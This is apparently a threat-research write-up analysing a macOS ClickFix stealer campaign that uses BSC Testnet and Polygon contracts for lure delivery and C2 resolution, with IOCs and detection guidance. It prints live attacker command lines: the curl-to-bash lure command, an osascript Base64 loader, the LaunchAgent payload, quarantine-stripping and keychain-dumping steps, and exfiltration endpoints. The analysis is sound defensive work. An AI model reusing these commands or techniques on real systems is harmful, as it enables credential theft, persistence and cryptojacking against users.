Two Blockchains, One ClickFix: Polygon-Resolved C2 in a macOS Stealer Campaign

A macOS ClickFix campaign used BSC Testnet to deliver its lure and track each visitor, then used Polygon as a mutable directory for its command-and-control host. The chain ends in a password-phishing controller, two stealer modules, and a live XMRig task.

Infection chain showing BSC Testnet lure delivery, ClickFix execution, LaunchAgent bootstrap, Polygon-resolved C2, controller tasking, smodule, lmodule, and openshell.
Figure 1. Infection chain. BSC Testnet handles browser-side delivery and per-visitor state; Polygon resolves the active C2 used by the persistent bootstrap and controller. Click for the full-size image.

Case summary

I traced this campaign from its blockchain-hosted browser code through the macOS payloads and into the live C2 protocol.

  • BSC Testnet contract 1 returned JavaScript. After Base64 decoding and gzip decompression, it ran automation checks, restricted the malicious branch to macOS, generated a visitor ID, and rendered a fake “Performing security verification” page.
  • BSC Testnet contract 2 is queried with eth_call, with the visitor ID as the argument. A yes answer means that visitor is finished and the lure is withdrawn. Any other answer lets the lure show.
  • The lure copied a ClickFix command to the clipboard. Pasted into Terminal, it fetched an AppleScript installer from <visitor-id>.roxymigurdia[.]wiki.
  • The installer wrote a LaunchAgent. Its payload is a 4,971-byte AppleScript bootstrap that resolves the C2 host from a Polygon contract and requests bmodule from it, piping the response into osascript.
  • The response is the controller. It resolves the C2 again, shows a fake “System Preferences” password prompt until it has a valid password, enrolls the host, uploads an app inventory, and polls for tasks every 120 seconds.
  • The server offered three tasks: runloader (smodule), runlight (lmodule), and openshell (a server-supplied shell script; XMRig was live during analysis).

The persistent client contains no fixed C2 hostname. At the time of analysis the Polygon contract resolved to jrxciw2[.]xyz.

Attack Chain

BSC Testnet contract 1
    ↓
Base64 + gzip JavaScript
    ↓
macOS / headless checks
    ↓
BSC contract 2: isGoalReached(visitor ID)
    ↓  "yes" → no lure
fake verification page
    ↓
clipboard ClickFix command
    ↓
<visitor-id>.roxymigurdia[.]wiki
    ↓
obfuscated AppleScript installer
    ↓
LaunchAgent → bootstrap
    ↓
Polygon resolver → jrxciw2[.]xyz
    ↓
bmodule (controller)
    ↓
password prompt → connect → init → task (every 120 s)
    ↓
runloader | runlight | openshell
ChainRole
BSC TestnetLure delivery and per-visitor state
PolygonMutable C2 resolution

Initial access

The browser-side stage was retrieved from BSC Testnet contract:

0x68dce15c1002a2689e19d33a3ae509dd1feb11a5

The contract response was a wrapper around a Base64-encoded gzip stream:

(async () => {
    var b = Uint8Array.from(atob("H4s..."), c => c.charCodeAt(0));
    ...
    new DecompressionStream("gzip");
    ...
    eval(t);
})();

I extracted the atob() argument, Base64-decoded it, decompressed it, and recovered about 93 KB of JavaScript without evaluating it. The script contains the headless check, a visitor-ID helper, the gate function, the macOS condition, and three Base64 blobs: the lure HTML, its CSS, and a second obfuscated script. A short Base64 loader initializes Yandex Metrika.

Environment checks

isHeadless is a score, not a single test. It evaluates seven conditions:

navigator.webdriver === true
/HeadlessChrome/ in userAgent
"PhantomJS" in userAgent
"Puppeteer" in userAgent
"Playwright" in userAgent
window.outerWidth === 0 && window.outerHeight === 0
no window.chrome, no window.safari, and no "Firefox" in userAgent

The script reports headless only when at least two conditions are true and there is no sign of a normal browser. window.chrome.runtime, window.safari, a non-empty navigator.plugins, or a non-empty navigator.languages all count as normal-browser signs.

The malicious branch runs only if the browser is not headless and one of the macOS checks succeeds.

Recovered JavaScript showing headless browser checks and a macOS-only branch.
Figure 2. Browser-side anti-analysis checks and the macOS condition.

Visitor ID

The visitor ID is stored in the cjs_id cookie with a two-day expiry. If no cookie exists, the script generates an eight-character base-36 value:

(Math.random() + 1).toString(36).substring(2, 10)

A separate function generates a UUIDv4. A third function, generateId(), queries ip-info.ff.avast.com for the public IP, but nothing calls it.

The lure

The lure imitates a Cloudflare challenge: “Performing security verification” and a “Verify you are human” checkbox. It loads Font Awesome CSS from use.fontawesome.com. The footer privacy link still contains an unreplaced __SITE_HOST__ placeholder.

The nested script limits exposure. It stores cf_cap_shows in localStorage as count|timestamp. After three displays within 24 hours it removes the lure elements. A click on the checkbox fires a Metrika goal if the tag loaded:

ym(99162160, "reachGoal", "Click", { clientID: usr_id })
Static reconstruction of the fake Cloudflare-style verification page telling a macOS user to open Terminal, paste with Command-V, and press Enter.
Figure 3. Static reconstruction of the recovered lure HTML/CSS. No attacker infrastructure or payload execution was involved.

BSC gate: a per-visitor flag

The same script queries a second BSC Testnet contract:

0xf4a32588b50a59a82fbA148d436081A48d80832A
selector 0x24513bb6
RPC: data-seed-prebsc-1-s1.bnbchain[.]org:8545

The function is named isGoalReached. It takes the visitor ID, not a campaign constant. The calldata is the selector, a 0x20 offset word, a length word, and the visitor ID as UTF-8 padded to 32 bytes. The response is decoded as an ABI string and compared with yes.

page load
  → isGoalReached(usr_id)
      "yes"             → lure not shown
      anything else     → lure shown, Metrika initialized
      RPC failure       → returns false, lure shown

click
  → command copied
  → isGoalReached(usr_id) every 1 s
      "yes"             → lure removed

The call that decides this is the last statement of the decoded script. So yes means stop, not continue.

Recovered JavaScript showing the second BSC Testnet contract, selector 0x24513bb6, eth_call, and comparison against yes.
Figure 4. Per-visitor BSC Testnet gate. The visitor ID is passed into the contract call and the decoded result is compared with yes.

Execution

The lure assembles a shell command and copies it with document.execCommand("copy"). The decoded template:

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL \
'${usr_id}.roxymigurdia[.]wiki/?ublib=${uuid__}')"; \
echo ""BotGuard: Answer the protector challenge. Ref: 73282

${usr_id} is the cjs_id value. ${uuid__} is a UUIDv4 generated once at page load. The echo tail prints a fake bot-check message in Terminal after the real command runs.

The response to the curl is another wrapper:

osascript -e "$(echo "<BASE64>" | base64 -d)"

Decoding the embedded Base64 produced the installer AppleScript.

Decoded ClickFix shell command containing the visitor-ID subdomain, ublib UUID parameter, and BotGuard decoy message.
Figure 5. Decoded ClickFix command embedded in the lure.

Persistence

The installer is heavily obfuscated with string id {...}, character id N, ASCII character N, string concatenation, and junk assignments.

Once normalized, it writes:

~/Library/LaunchAgents/com.Apple.hkwreoglmheurrkb.plist

The label uses a capital A (com.Apple.); Apple’s own labels are com.apple.. The plist sets RunAtLoad and KeepAlive and runs:

<key>ProgramArguments</key>
<array>
  <string>/bin/bash</string>
  <string>-c</string>
  <string>echo '<BASE64_BOOTSTRAP>' | base64 -d | osascript</string>
</array>

The installer then runs launchctl unload and launchctl load on the plist.

The bootstrap

The Base64 payload in the plist is not the controller. It decodes to a 4,971-byte bootstrap AppleScript that:

  1. Tries four public Polygon RPC endpoints in order.
  2. Sends an eth_call to the resolver contract and decodes the ABI string.
  3. Posts txid=<campaign ID>&bmodule to https://<resolved host> and pipes the response into osascript.

It does not write the response to disk. Because the LaunchAgent has KeepAlive, the controller is fetched fresh from the C2 each time the bootstrap runs.

Recovered AppleScript bootstrap showing Polygon RPC providers, the resolver contract and selector, result parsing, and retry logic.
Figure 6. Polygon resolver embedded in the LaunchAgent bootstrap. The bootstrap iterates public RPC providers, queries the resolver contract, decodes the hostname, and then requests bmodule.

Command and control

The bootstrap and the controller both resolve the C2 from Polygon through these public RPC endpoints:

polygon.drpc[.]org
polygon.publicnode[.]com
polygon-mainnet.gateway.tatum[.]io
tenderly.rpc.polygon[.]community

The request targets contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 with selector 0x2686ecea. During analysis, the ABI result decoded to jrxciw2[.]xyz.

The malware’s own parser is a shell one-liner: it reads the length from bytes 64–127 of the result and the string from byte 128 on, with xxd -r -p. It does not read the offset word.

The C2 can change without touching the LaunchAgent. This only covers the host the bootstrap and controller poll. The module scripts the server returns hardcode jrxciw2[.]xyz for helper download, init upload, and exfiltration, so the server has to serve updated modules when it rotates.

Terminal output of a Polygon eth_call to the resolver contract followed by ABI decoding of the returned hostname.
Figure 7. Live read-only query of the Polygon resolver and ABI decoding of the returned hostname.

Controller

The controller is the script returned for bmodule. It repeats the Polygon lookup, then runs the main enrollment and tasking loop.

Health check

POST /
check
→ success

Password prompt

Before it enrolls, the controller needs a valid account password. It reads ~/.passphrase. If the file is missing or the password no longer validates, it shows a dialog titled System Preferences asking for the account password. It validates each answer with:

dscl . authonly <user> <password>

and re-prompts until one validates. It first tests an empty password, and if that works, writes nopassphrase. A valid password is written in plain text to ~/.passphrase.

By static reading, the controller does not enroll until this step succeeds. Both stealer modules read ~/.passphrase, write the username and password into the exfiltrated archive, and lmodule passes the password to the native helper’s --keychain-pw option.

Enrollment

uuid=<uuid>
username=<username>
txid=<txid>
connect

The server returned newconnect for the synthetic identity. The controller also handles connected. The newconnect branch writes ~/.txid and runs tccutil reset All. I recovered that branch statically and did not execute it.

Discovery

The controller recovers the hardware UUID with ioreg and system_profiler fallbacks and accepts a result only if it is 36 characters and contains hyphens. The username falls back through whoami, id -un, echo $USER, logname, and finally the literal administrator.

It then requests txid=<txid>&init and pipes the response into bash. The live init script inventories *.app bundles directly under /Applications and /System/Applications, queries kMDItemCFBundleIdentifier with mdls, filters out com.apple. bundle IDs, and posts the remaining app names back as multipart form data.

Tasking

The controller polls every 120 seconds with uuid, username, txid, and task. It recognizes notasks, runloader, runlight, and openshell.

ResponseRequestExecuted as
notasksnonenone
runloadertxid=<txid>&smodule... | osascript
runlighttxid=<txid>&lmodule... | osascript
openshelluuid=...&username=...&txid=...&shell... | bash

Each task runs inside detached nohup sh -c with output sent to /dev/null. A task the server keeps returning can therefore run every two minutes. The live C2 returned runloader.

Controller task-loop diagram showing notasks, runloader to smodule via osascript, runlight to lmodule via osascript, openshell to bash, nohup execution, and a 120-second poll interval.
Figure 8. Controller task loop reconstructed from the deobfuscated AppleScript. Request parameters, task names, interpreters, and poll interval are unchanged.

Collection

Both modules stage data under random-looking directories, zip it with ditto -c -k --sequesterRsrc, and upload it. Both write the same banner:

Essential macOS Stealer
Build: GETWELL

The banner is shared. What differs is how each module collects.

smodule (runloader)lmodule (runlight)
Staging/tmp/c8d3b96e…1791072779//tmp/be743b04…1791072780/, deleted after zipping
Browser dataAppleScript copies filesNative helper, archive -o <staging>/browsers
KeychainmacOS 26.4+: Safe Storage secrets; older: login.keychain-dbNative helper, dumpkeys with the phished password
ExtensionsSettings and IndexedDBSame extension map under Cryptowallets/ and Extensions/
Desktop walletsYesYes
Telegram / NotesYesYes
FilesDesktop + Documents; 250,000 B/file; 5,000,000 B totalDesktop + Documents + Downloads; 0.5 MiB/file; 10 MiB total
Upload/upload.php/contact.php

The staging names are 32 hex characters followed by a 10-digit Unix timestamp. The two timestamps are one second apart and decode to 2026-10-04 00:12:59 and 00:13:00 UTC. Treat the paths as a pattern rather than fixed IOCs.

Browsers and extensions

smodule handles Chrome, Chrome Beta, Chrome Canary, Chrome Dev, Chromium, Brave, Edge, Vivaldi, Opera, Opera GX, and Yandex. Per Chromium profile it copies Cookies, Web Data, Login Data, History, Local Extension Settings, and IndexedDB. Firefox profiles are handled separately and include credential, cookie, form-history, and places databases.

The extension map has 197 IDs covering wallets, password managers, and authenticators. Representative wallet targets include MetaMask, Trust Wallet, Phantom, Coinbase Wallet, Exodus Web3, Keplr, Leap, SafePal, OKX, Ronin, MathWallet, and TronLink. Password-manager targets include 1Password, Bitwarden, Keeper, Proton Pass, NordPass, Enpass, Dashlane, LastPass, iCloud Passwords, and Kee Password.

Credential access in smodule

The branch depends on the macOS version. The check is major > 26, or major = 26 and minor ≥ 4.

macOS 26.4 and newer

_VDYUMcg8B15 loops over Chrome, Microsoft Edge, Brave, Opera, and Vivaldi Safe Storage services. For each service it first checks existence with security find-generic-password -s, then loops on security find-generic-password -w -s with a 0.1 second delay until it succeeds. Results are written to Secrets.

Older macOS

The module copies ~/Library/Keychains/login.keychain-db. Combined with the phished password, that gives the operator the material needed for offline processing.

lmodule

lmodule checks the architecture with sysctl -n hw.optional.arm64 and downloads one of:

hxxps://jrxciw2[.]xyz/es-arm
hxxps://jrxciw2[.]xyz/es-x86

The binary is saved as /tmp/<staging-name>-tool/extractor and prepared with chmod +x, xattr -dr com.apple.quarantine, and codesign --force --sign -.

If ~/.chainblob256 already exists, lmodule reuses it. Otherwise it invokes the helper as:

extractor dumpkeys -o ~/.chainblob256 --keychain-pw <contents of ~/.passphrase>

and copies the result to <staging>/bkeylist. Browser data goes through extractor archive -o <staging>/browsers. The helper and tool directory are deleted afterward. I did not retrieve the helper, so its internal behavior remains unknown.

Deobfuscated GETWELL lmodule showing build tag, es-arm and es-x86 URLs, ARM64 detection, helper preparation, chainblob256, dumpkeys keychain password usage, and browser archive processing.
Figure 9. GETWELL native-helper workflow after static deobfuscation. Function and variable names were renamed for readability; the control flow and commands are unchanged.

Other collection

Safari. smodule contains a second Base64 AppleScript that uses Finder to copy Cookies.binarycookies into a temporary folder before moving it into staging.

Telegram. The tdata directory under Telegram Desktop is copied recursively.

Apple Notes. smodule asks Notes for note names and plaintext. lmodule pulls every note body and converts the HTML to text.

FileGrabber. smodule searches Desktop and Documents with 250,000-byte per-file and 5,000,000-byte total caps. lmodule searches Desktop, Documents, and Downloads for selected document/configuration extensions, caps individual files at 0.5 MiB and total collection at 10 MiB, and packs them into a .tgz.

System information. Both modules record the username, plaintext password, public IP from api.ipify.org, and system_profiler output for software, hardware, and displays.

Exfiltration

smodule uploads its archive to hxxps://jrxciw2[.]xyz/upload.php. lmodule uploads to hxxps://jrxciw2[.]xyz/contact.php. Both use multipart form data containing campaign and host identifiers.

For archives over 90 MiB, smodule goes straight to plain HTTP at hxxp://62.60.226[.]50/upload.php with a long timeout. For smaller archives it tries the domain first and falls back to the IP on error. lmodule has no IP fallback; it retries the same domain endpoint with a longer timeout.

controller protocol      → /
smodule exfiltration     → /upload.php   (fallback: 62.60.226[.]50)
lmodule exfiltration     → /contact.php

Command execution

openshell returns a server-supplied shell script. At the time of analysis it deployed XMRig.

  • Runs killall xmrig first.
  • Downloads XMRig 6.26.0 from the official GitHub release for arm64 or x86_64 into /tmp/rigupdater, with no hash check.
  • Deletes the bundled config.json.
  • Sets threads to logical CPUs minus 2, with no lower bound.
  • Starts the miner with nohup, -k, and --tls, using the architecture string as the worker password.
pool.hashvault[.]sh:443
4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L

Because the controller re-dispatches the task on every poll, the killall followed by a fresh download and launch repeats every cycle while the server keeps returning openshell. The response was saved and inspected only.

Defense evasion

Sandbox avoidance. The browser code scores headless indicators before showing the lure, and the lure caps itself at three displays per 24 hours.

Masquerading. The LaunchAgent label uses com.Apple..

Obfuscation. AppleScript stages use character IDs, ASCII IDs, string concatenation, junk assignments, Base64, and gzip.

Trust bypass. lmodule strips the quarantine attribute from the helper and ad-hoc signs it.

No on-disk controller. The bootstrap pipes the controller directly into osascript.

Cleanup. lmodule removes its helper and staging directory. Detached nohup sh -c runs with output sent to /dev/null.

Social engineering. The ClickFix command prints a fake bot-check message, and the controller’s password prompt is titled “System Preferences”.

Impact

The recovered modules support browser-data theft, wallet and password-manager collection, Keychain and Safe Storage access, Telegram session theft, Apple Notes theft, bounded local-file collection, capture of the user’s account password, and arbitrary shell execution. The live openshell task was resource hijacking through XMRig.

Because the shell task is server-supplied, the controller is not limited to the payload observed here.

Attribution and overlap

Third-party reporting overlaps with this infrastructure:

  • ThreatFox lists jrxciw2[.]xyz as botnet_cc tagged AMOS and references the same Polygon resolver contract, and separately as payload_delivery tagged ClearFake. Those tags are submitter-supplied.
  • VirusTotal flags 62.60.226[.]50 and a community comment from roughly a month before this analysis labels it “Essential macOS Stealer Campaign”.
  • Passive DNS for 62.60.226[.]50 showed no overlap with jrxciw2[.]xyz or roxymigurdia[.]wiki.

The samples label themselves “Essential macOS Stealer” with build tag GETWELL. I did not attribute them to a family. The banner and the IP predate this capture, so the toolkit is not unique to this chain. What is distinctive here is BSC delivery with per-visitor state and Polygon-resolved C2.

MITRE ATT&CK

BehaviorATT&CK
User pastes command into TerminalT1204.004 – Malicious Copy and Paste
Unix shell executionT1059.004 – Unix Shell
AppleScript executionT1059.002 – AppleScript
LaunchAgent persistenceT1543.001 – Launch Agent
com.Apple. labelT1036.005 – Match Legitimate Resource Name or Location
Headless / automation checksT1497 – Virtualization/Sandbox Evasion
Base64, gzip, AppleScript decodingT1140 – Deobfuscate/Decode Files or Information
Blockchain contract resolves C2T1102.001 – Dead Drop Resolver
Fake password dialogT1056.002 – GUI Input Capture
Quarantine removalT1553.001 – Gatekeeper Bypass
Download helper and minerT1105 – Ingress Tool Transfer
System and user discoveryT1082, T1033
Application inventoryT1518 – Software Discovery
File enumerationT1083 – File and Directory Discovery
Local file collectionT1005 – Data from Local System
KeychainT1555.001 – Keychain
Browser credentialsT1555.003 – Credentials from Web Browsers
Cookie theftT1539 – Steal Web Session Cookie
HTTP/HTTPS C2T1071.001 – Web Protocols
Archive collected dataT1560 – Archive Collected Data
Exfiltration over C2 channelT1041
File deletionT1070.004 – File Deletion
Resource hijackingT1496

Indicators of compromise

Blockchain

BSC delivery:
0x68dce15c1002a2689e19d33a3ae509dd1feb11a5

BSC per-visitor gate:
0xf4a32588b50a59a82fbA148d436081A48d80832A
selector: 0x24513bb6

Polygon resolver:
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
selector: 0x2686ecea

Network

roxymigurdia[.]wiki
jrxciw2[.]xyz
62.60.226[.]50
pool.hashvault[.]sh:443
mc.yandex[.]ru

C2 paths:
/
/upload.php
/contact.php
/es-arm
/es-x86

Campaign

txid:
9192f58d10f0c9b90e08c6836b089999

Yandex Metrika:
99162160

Clipboard tail:
BotGuard: Answer the protector challenge. Ref: 73282

Cookie: cjs_id
localStorage: cf_cap_shows

Host artifacts

~/Library/LaunchAgents/com.Apple.hkwreoglmheurrkb.plist
~/.passphrase
~/.txid
~/.chainblob256
~/tempFolderC/Cookies.binarycookies
/tmp/errorlog-es
/tmp/updstat.txt
/tmp/1-u.txt /tmp/2-u.txt /tmp/3-u.txt
/tmp/rigupdater/

Staging pattern

32 hex characters + 10-digit Unix timestamp

Observed:
/tmp/c8d3b96efcf356dd915bcb08f3d0e1181791072779/
/tmp/be743b04c659d5256d89ed3824513a551791072780/
/tmp/be743b04c659d5256d89ed3824513a551791072780-tool/extractor

<staging>/bkeylist
<staging>/browsers/
<staging>/runtimelog.txt

Markers

Essential macOS Stealer
Build: GETWELL

runloader
runlight
openshell
bmodule
smodule
lmodule

Monero:
4ApYm7Cp1QKHYd34eWHTLMR9JwGxEiPkP5GYNbD7UaGUBsAE31oRt8zbCiz7yV6BbHa5mZUGYxeMRbihPXxo9o3vNWJxx2L

Detection opportunities

Relationships between behaviors outlast any hostname.

Polygon resolution

Look for curl, bash, or osascript sending JSON-RPC eth_call requests containing the resolver contract or selector. The shell parser using sed, ${h:64:64}, and xxd -r -p is also distinctive.

LaunchAgent persistence

A user LaunchAgent in ~/Library/LaunchAgents with RunAtLoad and KeepAlive whose arguments are /bin/bash -c "echo '<b64>' | base64 -d | osascript". A com.Apple. label with a capital A is a cheap extra signal.

Bootstrap and controller protocol

Look for curl requests containing &bmodule, &smodule, &lmodule, &shell, &init, &task, or &connect followed by piping into osascript or bash.

Password phishing

osascript showing a display dialog titled “System Preferences” with a hidden answer, followed by dscl . authonly and a write to ~/.passphrase.

Credential helper

download executable
→ chmod +x
→ xattr -dr com.apple.quarantine
→ codesign --force --sign -
→ dumpkeys --keychain-pw

Safe Storage

osascript spawning repeated security find-generic-password -w -s "<Browser> Safe Storage" calls at roughly 0.1-second intervals on macOS 26.4 and newer.

Exfiltration

Multipart uploads to /upload.php or /contact.php, and plain-HTTP uploads to 62.60.226[.]50.

Miner deployment

killall xmrig, a download from the official XMRig GitHub release into /tmp/rigupdater, then xmrig with --tls, -k, and architecture in the -p argument.

Clipboard command

A Terminal command shaped like /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<id>.<domain>/?ublib=<uuid>')" followed by a fake BotGuard echo.

Closing

The chain has several independently replaceable pieces. BSC Testnet supplies the lure and a per-visitor flag that retires it. ClickFix gets the first command into Terminal. AppleScript installs a small bootstrap, and that bootstrap is embedded in the LaunchAgent plist. Polygon tells the bootstrap where the current C2 is, and the C2 serves the controller. The controller takes the user’s password and enrolls the host. The server then picks the stealer module, the native helper, or a shell workload.

smodule   → AppleScript stealer
lmodule   → stealer + native extractor (GETWELL)
openshell → XMRig observed during analysis

Domains and payloads can rotate without changing the workflow. For hunting, follow the sequence:

browser → BSC → clipboard → Terminal → osascript → LaunchAgent
→ Polygon eth_call → resolved C2 → bmodule → password prompt
→ task polling → collection → multipart exfiltration → shell workload

That sequence should outlast any single hash or hostname.

Benjamin Barrow · Research 001← Back to home